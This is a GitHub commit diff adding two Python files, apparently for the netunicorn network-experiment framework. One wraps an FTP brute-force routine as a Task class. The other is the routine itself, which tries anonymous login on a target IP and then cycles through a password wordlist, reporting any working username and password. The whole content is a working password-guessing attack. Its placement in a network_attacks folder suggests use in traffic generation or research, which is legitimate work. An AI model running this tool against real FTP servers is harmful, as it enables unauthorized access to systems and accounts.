File tree Expand file tree Collapse file tree 2 files changed +57
-0
lines changed
tasks/network_attacks/ftp Expand file tree Collapse file tree 2 files changed +57
-0
lines changed Original file line number Diff line number Diff line change
1
+ from netunicorn .base .task import Task
2
+ from netunicorn .base import Failure , Result , Success
3
+ from .brute_force_ftp import brute_force
4
+
5
+ class BruteForceFTP (Task ):
6
+ def __init__ (
7
+ self ,
8
+ targetIP : str ,
9
+ wordlist : list ,
10
+ user = 'root' ,
11
+ * args ,
12
+ ** kwargs
13
+ ):
14
+ self .targetIP = targetIP
15
+ self .user = user
16
+ self .wordlist = wordlist
17
+ super ().__init__ (* args , ** kwargs )
18
+
19
+ def run (self ):
20
+ return brute_force (
21
+ target = self .targetIP ,
22
+ username = self .user ,
23
+ wordlist = self .wordlist ,
24
+ )
Original file line number Diff line number Diff line change
1
+ #!/usr/bin/env python
2
+ # -*- coding:utf-8 -*-
3
+
4
+ import argparse
5
+ import sys
6
+ from ftplib import FTP
7
+ from netunicorn .base import Failure , Result , Success
8
+ from netunicorn .base .task import Task
9
+
10
+ def brute_force (target , username , wordlist ):
11
+ try :
12
+ ftp = FTP (target )
13
+ ftp .login ()
14
+ ftp .quit ()
15
+ return Success ('No credentials required for anonymous login' )
16
+ except :
17
+ pass
18
+
19
+ try :
20
+ for password in wordlist :
21
+ try :
22
+ # print(f'trying {password}')
23
+ ftp = FTP (target )
24
+ ftp .login (username , password )
25
+ ftp .quit ()
26
+
27
+ return Success (f'Login successful: User - { username } , Password - { password } ' )
28
+ except :
29
+ print (f"[Attempt] target:- { target } - login:{ username } - password:{ password } " )
30
+ return Failure ('No valid credentials found in wordlist' )
31
+ except :
32
+ print ('\n Error with wordlist list' )
33
+ return Failure ('Error with wordlist list' )
You can’t perform that action at this time.
0 commit comments